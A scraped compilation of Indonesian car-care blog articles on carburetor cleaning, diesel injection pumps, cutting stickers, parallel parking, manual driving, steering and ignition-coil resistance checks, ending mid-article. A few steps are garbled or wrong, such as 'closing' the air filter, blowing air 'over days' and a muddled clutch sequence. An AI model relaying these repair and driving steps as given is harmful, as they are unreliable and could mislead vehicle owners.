Home

Cara Aman Cuci Karburator Mobil Paling Lengkap

[ad_1]

Masing masing komponen yang terdapat dalam mobil kita tentunya memiliki tugas dan peranan tersendiri yang tentunya berbeda dengan komponen atau piranti yang lainnya yang terdapat dalam mobil anda. Hal ini sudah dirancang dari pabrikanya untuk mendukung atau menciptakan performa kendaraan tersebut secara keseluruhan.

Dan salah satu komponen atau piranti tersebut adalah seperti piranti karburator yang terdapat dalam mobil anda. komponen karburator mobil sendiri merupakan salah satu komponen yang memiliki fungsi vital dalam kendaraan anda dan fungsi dari karburator pada mobil tersebut disesuaikan dengan komponen yang lain ada secara satu kesatuan dalam karburator tersebut.

Dan untuk ulasan selengkapnya mengenai karburator tersebut, berikut ini penulis akan menyajikan ulasannya untuk anda. Yuk sobat, langsung saja kita simak ulasan berikut ini. Cekidot.

1.Apa Saja Fungsi Karburator Tersebut Pada Mobil Anda?

Adapun
beberapa fungsi dan peranan karburator tersebut dalam mobil anda antara lain
adalah sebagai berikut :

  • Sebagai piranti yang bertugas untuk mengatur udara dan juga bahan bakar kedalam saluran isap dalam mobil anda.
  • Sebagai piranti yang bertugas untuk mengatur perbandingan bahan bakar udara pada beban kecepartan.
  • Sebagai piranti yang bertugas untuk mencampurkan bahan bakar dengan udara. Campuran bahan bakar gas dan udara 1 gram : 15 gram udara.
  • Sebagai piranti yang bertugas untuk mengubah bahan bakar menjadi gas sesuai dengan peruntukannya.

Itulah beberapa fungsi dan peranan piranti karburator tersebut dalam mobil anda. Sangat penting bukan sobat? Dan untuk menjalankan fungsinya yang sangat penting tersebut, tentunya ada beberapa komponen yang terdapat dalam karburator tersebut yang masing masing dari setiap komponen memiliki fungsi dan peranannya masing-masing.

Berikut ini adalah beberapa komponen yang menjadi satu kesatuan dari karburator tersebut.

2. Apa Saja Komponen Parburator Pada Mobil Anda?

Beberapa
jenis komponen karburator tersebut antara lain adalah sebagai berikut :

  • Float
    chamber
  • Floating
  • Pin
    float
  • Housing
    nadle valev
  • Needle
    valve
  • Air
    bleder
  • Main
    jet primer

Itulah beberapa komponen yang terdapat dalam karburator tersebut, yang mana masing masing dari komponen tersebut memiliki fungsinya tersendiri dan saling berkaitan satu dengan yang lainnya. masalah sistem karburator memang wajib diketahui dan bisa anda jadikan sebagai informasi tambahan.

Sebut saja seperti float chamber yakni yang berperan sebagai penampungan dan tempat persediaan sebagai tempat yang bersifat sementara.

Kemudian ada juga floating yang biasa disebut dengan pelampung. Alat ini digunakan sebagai pembatas jumlah bahan bakar yang masuk ke dalam floating chumber.

Dan juga komponen pin float yang bertugas untuk mengunci pelampung agar tidak terlepas dari dudukannya. Sehingga demikian, maka akan tercipta keterkaitan diantara komponen tersebut yang saling bersinergi antara komponen yang satu dan yang lainnya.

Oleh karena pentingnya fungsi dan peranan karburator tersebut dalam mobil anda, maka anda sebagai pemilik kendaraan diwajibkan untuk melakukan perawatan dan pengecekan secara berkala untuk memastikan fungsi dan peranan karburator tersebut tetap stabil.

Dan salah satu perawatan yang bisa anda lakukan adalah dengan mencuci karburator tersebut. Lantas, bagaimana cara aman cuci karburator mobil tersebut? Berikut ini penulis akan menyajikan ulasannya untuk anda. Cekidot

3. Cara Aman Cuci Karburator Mobil

Berikut
ini adalah pedoman untuk anda agar bisa mencuci karburator tersebut dengan
aman, antara lain adalah sebagai berikut :

  • Hal yang harus anda perhatikan sebelum mencuci karburator mobil tersebut adalah dengan memperhatikan posisi kabel kutub negative dari aki, pastikan dalam keadaan terbuka.
  • Tutuplah terlebih dahulu saringan udara atau filter udara dan juga rumahannya.
  • Saat membuknya, baiknya anda perhatikan kondisinya secara detail, dan bila perlu silahkan anda foto untuk melakukan perbandingan dengan hasil yang anda lakukan nantinya. Buka selang bahan bakar dan selang yang lainnya yang terhubungan dengan karburator tersebut dan silahkan membuka baut dari karburatir tersebut secara satu persatu.
  • Bukalah dan preteli bagian bagian karburator yang akan dibersihkan tersebut. Dan pastikan anda mengingat semua posisi posisi dari setiap bagian yang anda lepas tersebut.
  • Bersihkan semua bagian yang sudah anda pretelin tersebut satu persatu. Gunakan kuas dan bensin atau sebaiknya semprot dengan menggunakan karburator cleaner agar kotoran yang membandel bisa langsung terangat.
  • Setelah itu, bersihkan dengan cara menyemprot menggunakan angin kompresor ke seluruh sela sela dan lubang – lubang dari sudur karburator tersebut. Namun lakukan hal ini dengan cara berhari – hari dan jangan terlalu keras.
  • Setelah anda merasa semua bagian – bagian yang anda copot tersebut sudah bersih secara keseluruhan, dan sudah kering maka anda bisa merakitnya kembali sesuai dengan yang seharusnya sperti pada saat tadi anda mencopotnya pada mobil anda, dan lakukan hal ini secara perlahan agar hasilnya bisa seperti semula.

Demikian ulasan yang bisa penulis sajikan untuk anda pada ulasan kali ini. Semoga ulasan ini bisa bermanfaat untuk anda yang sudah berkunjung dan membaca postingan ini. Kenali masalah yang terjadi pada mobil anda sebelum memutuskan untuk mencoba cara yang penulis berikan. Sampai jumpa di ulasan selanjutnya. Salam hangat selalu dari penulis.



[ad_2]

Source link

Fungsi pompa injeksi pada mesin diesel konvensional

[ad_1]




Pompa injeksi atau fuel injection pump merupakan komponen penting yang terdapat pada sistem bahan bakar mesin diesel. Ya, sesuai namanya pompa injeksi memiliki peran untuk memompa bahan bakar ke nosel injektor sehingga nosel dapat menginjeksikan bahan bakar bertekanan tinggi kedalam silinder mesin.

Meskipun begitu, fungsi pompa injeksi pada mesin diesel tidak hanya untuk memompa bahan bakar ke nosel injektor saja, melainkan terdapat beberapa fungsi lainnya yang juga sangat penting bagi mesin.

fungsi pompa injeksi

Hal ini diperlukan karena pada mesin mobil banyak terjadi perubahan putaran mesin secara tiba-tiba sehingga pompa injeksi perlu memiliki kemampuan untuk menyesuaikan perubahan ini dan menjaga agar mesin tetap berfungsi dan nyaman untuk digunakan.

Lantas apa saja fungsi pompa injeksi pada mesin diesel ini ? Dibawah berikut adalah fungsi pompa injeksi pada mesin diesel..

1. Menghisap bahan bakar dari fuel tank


Fungsi pompa injeksi pada mesin diesel yang pertama adalah untuk menghisap bahan bakar dari fuel tank. Fungsi ini dilakukan oleh komponen pompa injeksi yang disebut dengan priming pump.

Priming pump pada pompa injeksi ada yang dipasang menyatu dan ada pula yang dipasang terpisah. Untuk pompa injeksi tipe in-line umumnya dipasang menyatu, sedangkan untuk pompa injeksi jenis distributor kerap dipasang terpisah.

Priming pump ini berfungsi untuk menghisap bahan bakar dari fuel tank (tangki bahan bakar) masuk ke dalam pompa injeksi. Selain itu, priming pump juga memastikan agar bahan bakar yang masuk sudah bebas dari gelembung udara yang dapat mengganggu proses injeksi bahan bakar.

Dengan begitu, maka bahan bakar akan dihisap masuk kedalam pompa injeksi tanpa henti sehingga suplai bahan bakar yang dibutuhkan mesin bisa tetap terjaga.

2. Mensuplai bahan bakar bertekanan tinggi ke injection nozzle


Fungsi pompa injeksi pada mesin diesel yang kedua adalah untuk mensuplai bahan bakar bertekanan tinggi ke injection nozzle (nosel injektor). Ya, mesin diesel membutuhkan tekanan bahan bakar yang tinggi agar proses pengabutan bahan bakar yang dilakukan oleh nosel injektor bisa terjadi dengan sempurna.

Dengan pengabutan bahan bakar yang sempurna, maka akan tercipta pula pembakaran sempurna dalam silinder mesin yang juga berimbas dalam menghasilkan tenaga mesin yang optimal.

Di dalam pompa injeksi ini terdapat komponen plunger yang memiliki fungsi untuk menekan dan mendorong bahan bakar menuju ke delivery pipe. Selama mesin berputar, maka plunger akan terus memompa bahan bakar sehingga tercipta tekanan pada bahan bakar.

Untuk mencegah agar tekanan bahan bakar tidak turun, maka digunakan katup-katup sebelum delivery pipe yang akan mencegah bahan bakar masuk kembali ke plunger saat plunger bergerak turun.

Dengan begitu, setiap plunger memompa bahan bakar ke dalam delivery pipe, maka tekanan bahan bakar akan meningkat dan semakin tinggi. Bahan bakar bertekanan tinggi inilah yang kemudian disalurkan oleh pompa injeksi ke masing-masing injektor nosel malalui delivery pipe.

Baca juga :

3. Mengatur waktu penyemprotan bahan bakar


Fungsi pompa injeksi pada mesin diesel yang ketiga adalah untuk mengatur waktu penyemprotan bahan bakar kedalam silinder mesin. Pada mesin diesel (konvensional), pompa injeksi akan mengatur waktu kapan nosel injektor harus menyemprotkan bahan bakar bertekanan tinggi kedalam silinder mesin. Penyemprotan yang dilakukan oleh nosel injektor ini terjadi berdasarkan tekanan yang dihasilkan oleh pompa injeksi.

Seperti yang kita ketahui bahwa nosel injektor jenis konvensional, akan membuka katup untuk menyemprotkan bahan bakar saat tekanan yang diberikan sudah melebihi batas tekanan penyemprotan.

Disinilah pompa injeksi akan berperan dalam mengatur tekanan ke delivery pipe yang akan diberikan untuk masing-masing nosel injektor, sehingga ketika sudah mendekati timing injeksi, maka tekanan bahan bakar sudah mencukupi dan nosel injektor dapat melakukan injeksi bahan bakar kedalam silinder mesin.

Selain itu, pompa injeksi juga akan memilih nosel yang akan melakukan penyemprotan bahan bakar kedalam silinder mesin. Kondisi ini umumnya juga di tentukan berdasarkan firing order mesin diesel sesuai dengan jumlah silinder dan konfigurasi mesin yang digunakan.

4. Mengatur jumlah bahan bakar yang diinjeksikan


Fungsi pompa injeksi pada mesin diesel yang terakhir ombro ketahui adalah untuk mengatur jumlah bahan bakar yang di injeksikan. Di dalam pompa injeksi, bagian plunger memiliki peran penting selain untuk mengatur distribusi bahan bakar ke nosel injektor. Plunger juga kerap difungsikan untuk mengatur jumlah bahan bakar yang harus di injeksikan kedalam silinder mesin .

Pengaturan jumlah bahan bakar di plunger ini di gerakan oleh komponen control rod atau rack yang terkait dengan beban dan kecepatan putaran mesin sehingga ketika mesin membutuhkan bahan bakar dalam jumlah yang banyak maka control rod atau rack akan menggeser plunger sehingga membuka keran bahan bakar agar mengalir lebih banyak ke dalam nosel injektor.

Dengan begitu, maka pompa injeksi dapat mengatur jumlah bahan bakar yang diinjeksikan kedalam mesin sesuai dengan perubahan dan kebutuhan bahan bakar yang diperlukan oleh mesin tersebut.

Artikel ini diarsipkan pada kategori : Teori-Otomotif



[ad_2]

Source link

Tips memilih dan menggunakan cutting sticker mobil

[ad_1]




Pilihan termudah untuk memodifikasi dan mengubah tampilan mobil adalah dengan menggunakan cutting sticker. Cukup dengan menambahkan cutting sticker di sekujur bodi mobil, maka warna dan tampilan mobil serentak berubah, terlebih jutaan corak dan model bisa diaplikasikan ke bodi mobil dengan mudah.

Tidak perlu cat ulang, tidak perlu teknik air brush, namun hasilnya bisa membuat tampilan mobil berubah lebih menarik.

cutting sticker mobil

Kemudahan yang didapatkan dari penggunaan cutting sticker mobil ini tentunya perlu dibarengi dengan ketelitian dan kecermatan dalam memilih jenis cutting sticker yang akan digunakan. Alih-alih ingin mendapatkan tampilan modifikasi bodi mobil yang menarik, namun justru menjadi penyesalan dikemudian hari karena salah dalam memilih jenis cutting sticker mobil.

Lantas apa saja yang perlu diketahui untuk menggunakan cutting sticker mobil? Berikut tips memilih dan menggunakan cutting sticker mobil yang baik agar lebih awet dan tahan lama untuk digunakan.

1. Pilih cutting sticker mobil yang berkualitas tinggi


Untuk dapat menggunakan cutting sticker mobil yang tahan lama, tentunya pemilihan bahan cutting sticker mobil menjadi prioritas utama. Terdapat beragam jenis bahan cutting sticker mobil yang tersedia dipasaran, namun pilihlah jenis cutting sticker mobil yang berkualitas tinggi.

Cutting sticker mobil yang berkualitas tinggi umumnya dapat dilihat dari bahan yang digunakan. Ciri-ciri umum cutting sticker mobil berkualitas adalah memiliki tekstur tipis namun sangat kuat, pemotongan mudah dan rapi, serta memiliki lem perekat yang sangat kuat namun tidak membuat rusak cat mobil saat dikelupas.

Paling mudah adalah dengan memperhatikan lem perekatnya yang tidak berbau alias netral. Selain itu, warna-warna yang disediakan juga lebih tajam. Dan terakhir, sticker berkualitas umumnya bisa bertahan hingga tiga sampai lima tahun.

Berikut beberapa jenis bahan yang biasa dipakai para ahli cutting sticker mobil yaitu Oracal, Glittre, Ritrama, Kodak papper, Scotchlite, Vinyl, dan D-Cifix. Pilih bahan yang tidak murahan untuk menyesuaikan dengan budget yang di miliki untuk mencegah kekecewaan setelah pemasangan.

2. Gunakan jasa pemasangan cutting sticker mobil profesional


Pemasangan cutting sticker mobil yang baik dan benar, selain menjaga hasil pemasangan tetap rapi, ia juga dapat memastikan daya tahan cutting sticker setelah pemasangan. Cutting sticker mobil yang dipasang dengan benar memiliki daya tahan yang lebih lama dan lebih awet.

Oleh karena itu, untuk mendapatkan hasil pemasangan yang benar-benar baik, rapi dan tahan lama, gunakanlah jasa pemasangan cutting sticker mobil profesional. Dengan menggunakan jasa pemasangan cutting sticker mobil profesional kita bisa terhindar dari beberapa kerugian yang bisa terjadi selama pemasangan seperti misalnya

  • Adanya gelembung udara yang terperangkap di tengah sticker

  • Letak pemasangan sticker tidak lurus (melenceng)

  • Kerusakan lem yang dipasang berulang


Selain itu, dengan mengunakan jasa pemasangan cutting sticker mobil profesional umumnya juga ada yang menyeiakan garansi pemasangan sehingga kita benar-benar mendapatkan hasil pemasangan yang bisa sesuai harapan kita.

Baca juga :

3. Rekatkan cutting sticker mobil pada bagian yang catnya kuat


Sebelum memasang cutting sticker, sebaiknya lakukan pemeriksaan terlebih dahulu terhadap kualitas cat mobil Anda. Khususnya pada bagian-bagian yang akan dipasang cutting sticker tersebut. Hindari memasang cutting sticker pada bagian cat yang sudah tidak orisinil (pernah di cat ulang).

Pemasangan cutting sticker pada bodi mobil yang pernah di cat ulang bisa membuat cat mudah terkelupas berikut cutting stickernya. Akibatnya bisa membuat tampilan mobil menjdai tidak enak dilihat,

Rekatkan cutting sticker pada bagian cat mobil yang kuat dan masih orisinil, karena pada dasarnya cat mobil yang masih orisinil terbilang kuat dan tak akan terganggu jika dipasangi sticker.

4. Hindari memarkir mobil langsung dibawah panas terik matahari terlalu sering


Hal terakhir yang perlu diperhatikan saat menggunakan cutting stiker mobil adalah hindari memarkir mobil langsung dibawah terik matahari terlalu sering dan dalam jangka waktu yang lama, terlebih jika porsi pemasangan cutting sticker mobil yang dipasang lebih dari 40 persen bodi mobil.

Menjemur mobil dibawah terik matahari terlalu sering bisa mengakibatkan cat pada bodi mobil yang tidak tertutup sticker menjadi lebih kusam dibanding dengan cat yang ditutup sticker.

Hal ini akan terlihat jelas saat sticker mobil dilepas, warna cat bodi mobil bisa menjadi belang. Dan untuk perbaikannya, tentu juga membutuhkan waktu dan biaya yang tidak sedikit agar cat kembali ke warna yang sama.

Demikianlah artikel tentang tips memilih dan menggunakan cutting sticker mobil yang baik agar awet dan tahan lama yang bisa ombro sampaikan, semoga bisa bermafaat.

Artikel ini diarsipkan pada kategori : Tips-dan-cara



[ad_2]

Source link

Cara parkir paralel mobil yang mudah untuk pemula

[ad_1]





Sebuah hal yang cukup menyulitkan bagi seorang pengemudi pemula selain mengemudi mobil dijalan tanjakan adalah melakukan parkir mobil secara paralel.

Ya parkir secara paralel membutuhkan teknik khusus yang perlu di biasakan agar menjadi kebiasaan sehingga semakin mahir saat mengemudikan mobil.

Parkir mobil secara paralel adalah parkir dimana mobil parkir dan berhenti dalam posisi saling berjajar memanjang. (kalau mau dibayangkan, parkir paralel ini persis seperti antrian di depan pintu tol).

Parkir secara paralel dilakukan dengan cara mobil masuk pada posisi mundur, pasalnya jika parkir paralel ini dilakukan dengan cara bagian depan mobil masuk terlebih dahulu, bisa dipastikan akan sulit mengatur kelurusan mobil dengan mobil yang sedang parkir di depan dan di belakangnya. Apalagi jika jarak mobil yang sedang parkir cukup dekat, tentu akan lebih sulit lagi.

Nah artikel ini akan memberikan gambaran kepada anda yang sedang belajar mengemudi mobil tentang bagaimana cara parkir mobil secara paralel, silahkan simak caranya seperti di bawah berikut

cara parkir paralel

Cara parkir mobil secara paralel untuk pemula


Langkah #1

  • Lurus dan sejajarkan mobil dengan jarak sekitar setengah meter (0.5m)

  • Pindahkan persneling ke posisi R (mundur)

  • Putar setir ke kanan sampai mentok


cara parkir paralel 1

Langkah #2

  • Mundurkan mobil secara perlahan hingga membentuk sudut 45°

  • Sudut 45° ini bisa anda ketahui dengan cara memperhatikan spion kiri

  • Apabila pada spion sudah terlihat bagian tengah mobil belakang , berarti sudah cukup


cara parkir paralel 2

Langkah #3

  • Luruskan posisi setir dan mundurkan mobil secara perlahan


cara parkir paralel 3

Langkah #4

  • Sambil mundur secara lurus, perhatikan bagian belakang dan depan mobil

  • Berhentilah ketika bagian ujung depan kanan mobil sudah sejajar dengan bagan belakang mobil di depannya


cara parkir paralel 4

Langkah #5

  • Saat bagian ujung depan kanan mobil sudah sejajar, putar setir secara penuh kearah kiri

  • Lalu lanjutkan dengan memundurkan mobil secara perlahan

  • Selalu perhatikan posisi melalui spion


cara parkir paralel 5

Langkah#6

  • Setelah posisi parkir sudah pas, putarkembali setir untuk meluruskan posisi roda


cara parkir paralel 6

Yup, itulah cara untuk melakukan parkir mobil secara paralel yang bisa kami sampaikan, semoga bisa bermanfaat






[ad_2]

Source link

8 Cara Terbaik Menggunakan Masing Masing Gigi Pada Transmisi Manual Ini Wajib Dicoba

[ad_1]

Ketika sedang mengendarai mobil manual, seseorang harus mengenali fitur-fitur yang terdapat pada mobil terlebih dahulu, jangan langsung asal tancap gas saja, karena dalam mengendarai mobil memang harus ada beberapa hal yang perlu diperhatikan. Karena selain membahayakan bagi diri sendiri, nyatanya tipe pengendara mobil seperti ini juga sangat membahayakan keselamatan orang lain.

Karena tidak sedikit
pengemudi yang meremehkan dan menganggap cara menyetir mobil manual adalah
suatu hal yang mudah. Dan sebagian besar orang saat ingin mengendarai mobil
pasti sudah mengetahui fitur-fitur yang terdapat pada mobil terlebih dahulu
untuk mempermudah saat mengendarainya.

Dan hal tersebutlah yang
mengakibatkan kerja polisi menjadi bertambah, karena para pengemudinya belum
memenuhi standar dalam mengemudi yang baik dan juga benar.

Berikut cara mengemudi
modil manual dengan aman

1.Memasuki Mobil Dalam Keadaan Datar

Ketika anda ingin mengendarai mobil, sebaiknya masuklah dalam posisi yang datar, kemudian kaitkan sabuk pengaman supaya perjalanan anda menjadi lebih nyaman.

Pada saat posisi mobil dalam keadaan bidang datar, dan hal tersebut akan lebih mudah bagi mobil untuk melaju. Dan fungsi dari sabuk pengaman juga bukan hanya menambah rasa aman selama perjalanan anda.

Pada saat sedang menggunakan sabuk pengaman, sebaiknya anda membuka kaca samping mobil supaya terdengar suara komponen mesin mobil yang lebih jelas. Dan dengan demikian, anda dapat memperkirakan kapan waktunya bagi anda untuk mulai memasukkan gigi kembali.

2. Atur Posisi Tempat Duduk yang Nyaman

Ketika mengaplikasikan pedal yang ada diposisi kaki kanan, kiri dan juga tengah pastikan anda dapat menginjak sepenuhnya agar perjalanannya selamat. Dan untuk tempat duduk juga akan berpengaruh terhadap kaki dalam menginjakkan rem, kopling, dan juga gas.

Dan yang terpenting saat anda ingin memulai mengendarai mobil hal yang pertama diperhatikan yaitu tempat duduk yang harus di setting terlebih dahulu, supaya anda merasa nyaman dan juga menyenangkan selama perjalanan. cara mengatur posisi mengemudi bisa anda jadikan sebagai informasi tambahan.

3. Kenali Semua Pedal yang Ada Pada Mobil

Pedal yang berada di kaki kiri atau sebelah kiri merupakan pedal untuk kopling, sementara untuk pedal yang berada di tengah berfungsi sebagai rem, dan untuk pedal yang berada di sebelah kanan adalah pedal gas.

Karena mengenali cara dan juga fungsi dari masing-masing pedal yang ada pada mobil harus dilakukan oleh pengendara. Ketika anda telah mengetahui fungsi dan juga keberadaan dari masing-masing pedal, maka pada saat anda mengendarai mobil manual akan terasa sangat mudah.

4. Menguasai Kopling

Hal yang perlu diperhatikan ketika anda sedang mengurangi atau menambah gigi, maka anda harus menginjak pedal kopling. Karena kopling mobil berfungsi untuk memutuskan putaran roda dan juga putaran mesin yang saling berhubungan.

Karena kopling juga dugunakan untuk mengubah gigi, baik ingin menambah ataupun mengurangi gigi tanpa merusak roda gigi dari masing-masing gigi transmisi tersebut. Jadi, hal yang pokok yang terdapat pada mobil manual yaitu kopling, transmisi, dan juga roda mobil.

Karena kopling pada mobil mempunyai fungsi untuk memutuskan putaran roda dan putaran mesin yang saling berhubungan, dan selain itu juga kopling digunakan untuk mengubah gigi baik untuk menambah ataupun mengurangi gigi, tanpa membuat rusak roda gigi dari masing-masing gigi transmisi itu sendiri.

Oleh sebab itu, untuk dapat menghubungkan roda ke bagian putaran mesin harus dilalui dari rangkaian kopling yang ada pada mobil. Meskipun mobil belum jalan, sebenarnya mesin mobil sudah mengalami putaran, tetapi karena putaran yang terjadi belum dapat terhubung dengan roda, sehingga roda tidak dapat bergerak.

Pada saat perseneling sudah terhubung di posisi 1, 2, 3, 4, 5, dan R, mesin dapat berputar, roda dan kopling juga tidak ditekan. Dan untuk putaran mesin, roda dan juga kopling yang tidak terhubung karena posisinya berada di posisi Normal (N).

5. Mengoperasikan Pedal dengan Baik

Ketika anda
sedang mengemudi mobil manual pastikan anda terbiasa melepas pedal kopling
secara perlahan dan teratur. Karena pada saat mengoperasikan pedal harus
dilakukan dengan konsentrasi penuh, terlebih ketika anda mengingat jarak ayunan
pedal, jarak antara pedal rem dan juga pedal gas.

6. Tuas Transmisi Dalam Posisi Netral (N)

Apabila
anda ingin memindahkan tuas transmisi, maka anda harus melakukannya dengan
hati-hati. Sebelum mobil dinyalakan, maka pastikan tuas dalam keadaan posisi
Netral (N), fungsi dari tuas transmisi yaitu untuk menambah ataupun mengurangi,
ketika anda ingin menambah gigi usahakan pedal sudah terinjak dengan penuh.

7. Nyalakan Mesin Mobil

Pada saat mesin sudah menyala, maka lepaskanlah pedal kopling. Dan tuas transmisi dalam posisi Netral (N). Dan untuk menyalakan mesin mobil dengan cara distarter yang ada pada kunci mobil, pastikan juga anda menginjak pedal kopling secara penuh.

8. Injak Kopling Secara Penuh

Dengan menginjak kopling secara penuh dan juga di tahan, itu merupakan cara terbaik dalam mengingat jarak dari ayunan pedal kopling, gas, dan juga rem.

Kemudian anda bisa melepas pedal kopling dengan perlahan-lahan dan juga teratur supaya terdengar suara mesin ketika mulai turun. Supaya anda lebih mudah dalam mengenali suara mesin mobil, anda dapat melakukannya dengan menginjak pedal kopling secara berulang-ulang.



[ad_2]

Source link

Cara kerja sistem kemudi mobil

[ad_1]




Sistem kemudi adalah sebuah sistem yang diciptakan untuk mempermudah pengemudi dalam mengendalikan arah dan laju kendaraan. Baik digunakan saat melaju, parkir ataupun saat bergerak mundur.

Sistem kemudi memiliki 5 fungsi penting bagi kendaraan, diantaranya adalah, mengatur arah jalannya kedaraan sesuai keinginan pengemudi, memberikan kestabilan pada kendaraan saat berjalan, mencegah getaran, dan lain-lain. (baca : 5 fungsi sistem kemudi)

cara kerja sistem kemudi mobil 1

Model dan bentuk sistem kemudi tiap-tiap mobil tidak sama, namun secara umum, untuk mobil penumpang banyak menggunakan sistem kemudi jenis rack and pinion sedangkan untuk mobil dan kendaraan besar (truk dan bus) umumnya menggunakan sistem kemudi recirculating ball.

Namun begitu, secara garis besar, sistem kemudi mobil terdiri dari 4 komponen penting yaitu (steering wheel) roda kemudi, steering column (batang kemudi), steering gear (roda gigi kemudi), dan steering linkage. Perhatikan pada gambar dibawah terkait contoh komponen sistem kemudi

cara kerja sistem kemudi mobil

Pada gambar diatas, kita menggunakan contoh sistem kemudi tipe rack and pinion saja, untuk lebih lengkapnya tentang tipe, model, dan macam-macam komponen sistem kemudi, silahkan baca pada komponen sistem kemudi yang sudah pernah ombro posting sebelumnya. Lantas bagaimana cara kerja sistem kemudi mobil ini ? Berikut cara kerja sistem kemudi mobil

Cara kerja sistem kemudi mobil


Saat steering wheel (roda kemudi) diputar, steering column (batang kemudi) juga ikut berputar mengikuti arah putaran roda kemudi. Tenaga putar yang terjadi di steering column ini kemudian diteruskan ke steering gear (roda gigi kemudi).

Steering gear memperbesar tenaga putar ini (melalui sistem hidrolik, elektrik, ataupun secara mekanikal) sehingga dihasilkan momen puntir yang lebih besar dibanding dengan momen puntir pada steering wheel.

Dari steering gear, momen puntir yang sudah membesar ini kemudian diteruskan ke steering linkage sehingga tejadi perubahan gerak dari gerak putar pada steering wheel menjadi gerak menarik atau mendorong pada steering linkage.

Steering linkage akan meneruskan gerakan steering gear ke roda-roda depan sehingga terjadilah perubahan arah dan sudut gerak pada roda depan. Dengan begitu, maka kendaraan bisa melaju sesuai arah putaran yang terjadi pada steering wheel. Misalnya steering wheel diputar kearah kanan, maka kendaraan akan melaju kearah kanan, begitu pula sebaliknya.

Perhatikan cara kerja sistem kemudi mobil pada gambar animasi dibawah berikut

cara kerja sistem kemudi 2

Khusus pada bagian steering gear, tenaga putar dari roda kemudi diperbesar. Bagian ini kerap dikenal dengan sebutan Power Steering. Ada yang menggunakan sistem hidrolik yang dikenal dengan Hydraulic Power Steering, ada pula yang menggunakan Electric Power Steering (EPS) dan ada pula yang menggunakan sistem mekanikal sepert recirculating ball dan lain-lain.

Meskipun steering gear di buat dengan desain dan model yang berbeda, namun sistem kemudi ini harus memenuhi persyaratan-persyaratan agar sesuai dengan fungsinya pada kendaraan. Berikut beberapa syarat yang harus dipenuhi oleh sebuah sistem kemudi

  • Memiliki kelincahan yang baik saat diputar atau digunakan

  • Memiliki usaha pengemudian yang baik

  • Memiliki recovery (pengembalian) yang halus

  • Mampu meredam getaran dan kejutan dari permukaan jalan sehingga tidak mengganggu proses pengemudian.


Nah, demikianlah artikel tentang cara kerja sistem kemudi mobil ini bisa ombro sampaikan, semoga bisa bermanfaat.

Artikel ini diarsipkan pada kategori : Teori-Otomotif



[ad_2]

Source link

Cara mengukur coil dengan multitester

[ad_1]




Ignition coil merupaan salah satu komponen pada sistem pengapian yang berfungsi untuk menghasilkan tegangan tinggi agar dapat tercipta percikan api listrik (spark) pada busi di dalam ruang bakar mesin. Coil yang bermasalah bisa mengakibatkan mobil menjadi mogok karena tidak adanya api yang keluar dari busi.

Salah satu penangananya adalah dengan melakukan pemeriksaan ignition coil tersebut, baik pemeriksaan percikan api di busi secara langsung ataupun pemeriksaan fisik dan nilai tahanan pada ignition coil.

cara memeriksa coil dengan multitester

Nah, pada artikel kali ini, ombro akan berbagi tips dan cara yang bisa dilakukan untuk mengukur coil dengan multi tester. Pengukuran ini dilakukan untuk mengukur nilai tahanan yang ada didalam ignition coil.

Sebaiknya, gunakan multitester digital untuk pengukuran nilai tahanan yang lebih akurat, namun begitu menggunakan versi analog juga bisa, namun tetap memperhatikan saklar nilai tahanan yang digunakan saat pengukuran. Simak cara mengukur coil dengan multitester dibawah berikut ini.

I. Ignition Coil Tipe Tabung (can convensional ignition coil)


Coil tipe tabung ini merupakan tipe coil yang bentuknya seperti tabung. Umumnya coil jenis ini menambahkan ballast resistor guna mencegah panas berlebih pada coil. Ada yang dipasang didalam (internal resistor) dan ada pula yang dipasang di luar (eksternal resistor).

Coil jenis ini banyak digunakan pada mobil-mobil lama yang bukan injeksi (masih karburator) seperti contohnya pada mobil Toyota kijang dengan mesin seri K (2K, 3K -H, 4K & 5K). Perhatikan cara permeriksaan ignition coil tipe tabung seperti dibawah ini

Pemeriksaan nilai tahanan rersistor coil


Tipe eksternal resistor
  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi ohm

  • Hubungkan kabel multitester dengan eksternal resistor coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan eksternal resistor coil

  • Hasil yang baik akan menunjukkan nilai tahanan eksternal resistor sebesar : 1.1 -1.3 ohm


Tipe internal resistor
  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan internal resistor coil

  • Hasil yang baik akan menunjukkan nilai tahanan internal resistor sebesar : 0.9 - 1.2 ohm


Pemeriksaan nilai tahanan pada primary coil


Coil dengan eksternal resistor
  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan primary coil tipe eksternal resistor

  • Hasil yang baik akan menunjukkan nilai tahanan primary coil dengan eksternal resistor sebesar : 1.3 - 1.6 ohm


Coil dengan internal resistor
  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan primary coil tipe internal resistor

  • Hasil yang baik akan menunjukkan nilai tahanan primary coil dengan internal resistor sebesar : 1.5 - 1.9 ohm


Pemeriksaan nilai tahanan pada secondary coil


Coil dengan eksternal resistor
  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi Kilo ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan secondary coil tipe eksternal resistor

  • Hasil yang baik akan menunjukkan nilai tahanan secondary coil dengan eksternal resistor sebesar : 10.7 - 14.5 Kilo ohm


Coil dengan internal resistor
  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi Kilo ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan secondary coil tipe internal resistor

  • Hasil yang baik akan menunjukkan nilai tahanan secondary coil dengan internal resistor sebesar : 13.7 - 18.5 Kilo ohm


Pemeriksaan nilai tahanan penyekat tabung coil

  • Siapkan multitester untuk pengukuran tahanan (resistansi) dengan memindahkan selektor ke posisi Kilo ohm

  • Hubungkan kabel multitester dengan coil seperti pada gambar dibawah berikut ini
    pemeriksaan tahanan penyekat ignition coil

  • Hasil yang baik akan menunjukkan nilai tahanan penyekat ignition coil dengan terminal positif (+) coil sebesar : Tak terhingga


Baca juga :

II. Ignition Coil Tipe Single Coil Pack


